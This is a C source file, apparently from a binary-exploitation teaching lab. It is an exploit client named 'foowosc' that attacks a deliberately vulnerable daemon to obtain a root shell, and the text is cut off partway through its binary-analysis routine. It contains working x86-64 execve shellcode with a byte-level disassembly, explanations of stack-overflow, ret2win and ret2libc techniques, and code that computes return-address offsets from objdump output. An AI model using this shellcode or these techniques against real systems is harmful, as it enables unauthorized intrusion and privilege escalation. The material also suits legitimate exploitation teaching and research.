/* * ============================================================================ * foowosc.c -- "foowosc": the exploit for foowosd, the daemon that is root * because it was STARTED as root (no setuid bit involved). * ============================================================================ * * PURPOSE * ------- * `foowosc` connects to `foowosd`, reads the leaks it publishes, builds a * payload that overwrites the saved return address on `foowosd`'s stack, * and turns that into a *root* shell -- as long as the daemon was started * as root (`sudo make run-root`), which is the state the Makefile calls the * interesting one. There is no setuid bit anywhere; root gets into the * picture the way it does in real life: someone started a privileged * process. * * THE TECHNIQUE THAT GETS ROOT -- shellcode * ---------------------------------------- * The payload is 23 bytes of raw machine code -- byte-identical to the * shellcode in the parent lab's fooc.c: * * execve("/bin/sh", NULL, NULL) * * Nothing else. No setreuid, no clearing of the real uid, because foowosd * was STARTED as root: its real AND effective uids are both 0. bash (and * dash) only reset their effective id when the real id differs; with both * already 0 there is nothing to reset, so the shell keeps root. Contrast * this with the SUID lab, where the setuid bit left ruid at 1000 and the * shell's guard quietly demoted a plain execve -- which is why foosc's * shellcode needed the extra setreuid(0,0) prefix (32 bytes total). * * "spawning /bin/sh" is enough against a genuinely-root process. * It only fails against the half-root state the setuid bit makes. * * THE OTHER TECHNIQUES -- and why none of them needs extra work here * ------------------------------------------------------------------ * In the SUID lab, ret2win and ret2libc were demoted to non-root shells by * the same bash guard. Here they are NOT, for the identical reason: * * ret2win foowosd's win() does execl("/bin/sh"). The process is * ruid==euid==0, so the shell stays root. Root shell. * ret2libc system("/bin/sh") runs the command in a fresh * /bin/sh. Same equal-uids reasoning. Root shell. * ret2win-root does not exist here -- it existed in foosc to clear * the real uid, and there is nothing to clear. * * So the matrix is uniformly "root" when the daemon is root, and uniformly * "user" when it is not -- which is the clean, honest statement of how this * lab differs from the SUID one. * * THE SUID STATE IS PART OF THE PROTOCOL * -------------------------------------- * The daemon's banner includes "ids=euid/ruid". foowosc prints a loud * warning when euid is not 0, i.e. when you started the daemon as a plain * user instead of as root. Everything below still works -- every technique * lands a shell -- it just will not be a root shell, and thinking the * exploit "failed" would be wrong. * * SAFETY * ------ * Defaults to 127.0.0.1:2344. This lab produces ROOT shells on the machine * it runs against. Point it at anything you do not own and you are * committing a computer-intrusion offence. Don't. * * Build: make foowosc * Usage: ./foowosc [-h HOST] [-p PORT] [-b BINARY] [-t TECH] [-i] [-n] [-v] * * THE SHELL IS ON THE VICTIM * -------------------------- * Like its siblings, this program never spawns a local shell. After the * payload lands there is exactly one shell, running inside foowosd's * hijacked (root) process with the TCP connection as its stdio. This side * only relays bytes -- see become_shell() for the story of why that is the * only correct design. * ============================================================================ */ /* glibc extensions: memmem(), dlsym(), MAP_ANONYMOUS. */ #define _GNU_SOURCE #include /* inet_pton(): "127.0.0.1" -> 4 bytes. */ #include /* isspace()/isxdigit() for parsing. */ #include /* dlsym(): find a symbol's address in OUR libc. */ #include /* errno / strerror(). */ #include /* open(), O_NONBLOCK. */ #include /* struct sockaddr_in, htons(). */ #include /* poll(): multiplex the terminal and the socket. */ #include /* uint64_t. */ #include /* printf and friends. */ #include /* exit(), malloc(), strtoul(). */ #include /* memcpy(), strstr(), memmem(). */ #include /* socket(), connect(), shutdown(). */ #include /* ssize_t, pid_t. */ #include /* waitpid(): reap the relay child when the session * ends. */ #include /* read, write, close, dup2, usleep, _exit. */ /* ------------------------------------------------------------------------- */ /* Defaults */ /* ------------------------------------------------------------------------- */ #define FOOWOSC_HOST "127.0.0.1" /* Loopback. Please keep it that way. */ #define FOOWOSC_PORT 2344 /* Must match foowosd's -p. */ #define FOOWOSC_BIN "./foowosd" /* The target binary, for static analysis. */ /* Padding byte: 'A' (0x41). Not NUL, so it never truncates a string-based * copy; instantly recognisable in a crash dump as 0x4141414141414141. */ #define PAD_BYTE 0x41 /* Upper bound on banner/leak text we tolerate. */ #define RECV_MAX 4096 /* ------------------------------------------------------------------------- */ /* x86-64 shellcode -- the plain execve payload */ /* ------------------------------------------------------------------------- */ /* * 23 bytes of machine code, byte-for-byte what shellcode.S assembles to, * and byte-for-byte the same payload the parent lab's fooc used against the * user-level `food` daemon: * * execve("/bin/sh", NULL, NULL) * * 31 f6 xor esi, esi ; argv = NULL * 31 d2 xor edx, edx ; envp = NULL * 48 bf 2f 62 69 6e 2f movabs rdi, 0x68732f6e69622f * 73 68 00 ; rdi = "/bin/sh\0" * 57 push rdi ; string onto the stack * 48 89 e7 mov rdi, rsp ; rdi = &"/bin/sh" * 6a 3b push 0x3b ; 59 = execve * 58 pop rax * 0f 05 syscall * * WHY NO setreuid PREFIX -- this comment is this lab in miniature: * * A setuid-root binary runs with (ruid=user, euid=0); bash notices the * mismatch and sets euid = ruid, so "just spawn a shell" fails -- foosc * therefore had to add setreuid(0,0) to clear the real uid too * (32-byte shellcode). * * foowosd is root because it was STARTED as root: (ruid=0, euid=0). * execve changes neither, bash has no mismatch to correct, and root * survives -- so the plain 23-byte execve is all that is needed. * * There is deliberately no `ret` at the end: execve replaces the whole * process image and never returns. */ static const unsigned char SHELLCODE[] = { 0x31, 0xf6, /* xor esi, esi */ 0x31, 0xd2, /* xor edx, edx */ 0x48, 0xbf, 0x2f, 0x62, 0x69, /* movabs rdi, "/bin/sh" (low bytes) */ 0x6e, 0x2f, 0x73, 0x68, 0x00, /* movabs rdi, "/bin/sh\0" (high) */ 0x57, /* push rdi */ 0x48, 0x89, 0xe7, /* mov rdi, rsp */ 0x6a, 0x3b, /* push 0x3b (execve) */ 0x58, /* pop rax */ 0x0f, 0x05 /* syscall */ }; #define SHELLCODE_LEN ((int)(sizeof(SHELLCODE))) /* ------------------------------------------------------------------------- */ /* Results of analysing the target binary and our own libc */ /* ------------------------------------------------------------------------- */ struct bininfo { unsigned long vuln_addr; /* Address of foowosd's vulnerable_handler().*/ unsigned long win_addr; /* Address of foowosd's win(). */ unsigned long frame_off; /* buf's distance below rbp, from the disasm. */ unsigned long rip_off; /* buf -> saved return address. THE key. */ unsigned long ret_gadget; /* Address of a bare `ret` in the binary. */ }; struct libcinfo { unsigned long base; /* libc base in OUR process. */ unsigned long off_system; /* offset of system() */ unsigned long off_read; /* offset of read() -- matches the leak */ unsigned long off_binsh; /* offset of the "/bin/sh" string */ unsigned long off_poprdi; /* offset of a `pop rdi ; ret` gadget */ }; struct leaks { unsigned long stack; /* A stack address (informational). */ unsigned long libc_read; /* Real address of read() in target's libc. */ unsigned long buf; /* Address of foowosd's `buf`. The whole game.*/ int euid; /* Target's effective uid (from banner). */ int ruid; /* Target's real uid. */ }; /* ------------------------------------------------------------------------- */ /* Step 1: static analysis of the target binary via objdump */ /* ------------------------------------------------------------------------- */ /* * Why parse disassembly instead of hardcoding the offset? Because the number * (88 for this build) is a property of the compilation, not of the bug. * Rebuild with another compiler version or another local variable and it * changes; a hardcoded offset is the classic reason exploits die after a * rebuild. Computing it keeps the exploit honest and it is what a real * analyst actually does. * * GCC -O0 on x86-64 emits for the target function: * push %rbp ; mov %rsp,%rbp ; sub $N,%rsp * lea -OFF(%rbp),%reg <- the buffer, passed to read() * so buf sits OFF below the saved frame pointer and the RETURN ADDRESS is * 8 bytes further up: rip_off = OFF + 8 */ static int analyse_binary(const char *path, struct bininfo *out) { char cmd[512]; char line[1024]; FILE *pp; int in_vuln = 0; int saw_read = 0; int have_off = 0; long best_off = 0; int status; memset(out, 0, sizeof(*out)); /* objdump is guaranteed present because the lab builds with it. */ snprintf(cmd, sizeof(cmd), "objdump -d --no-show-raw-insn '%s' 2>/dev/null", path); pp = popen(cmd, "r"); if (pp == NULL) { fprintf(stderr, "foowosc: cannot run objdump: %s\n", strerror(errno)); return -1; } while (fgets(line, sizeof(line), pp) != NULL) { /* --- Function boundaries: "0000000000401535 :" ---------- */ if (strstr(line, ":\n") != NULL) { in_vuln = 1; sscanf(line, "%lx", &out->vuln_addr); continue; } if (strstr(line, ":\n") != NULL) { /* This lab has only one backdoor (no win_root: the SUID lab * needed that second one to clear the real uid; here there is * nothing to clear). */ sscanf(line, "%lx", &out->win_addr); continue; } /* Any other "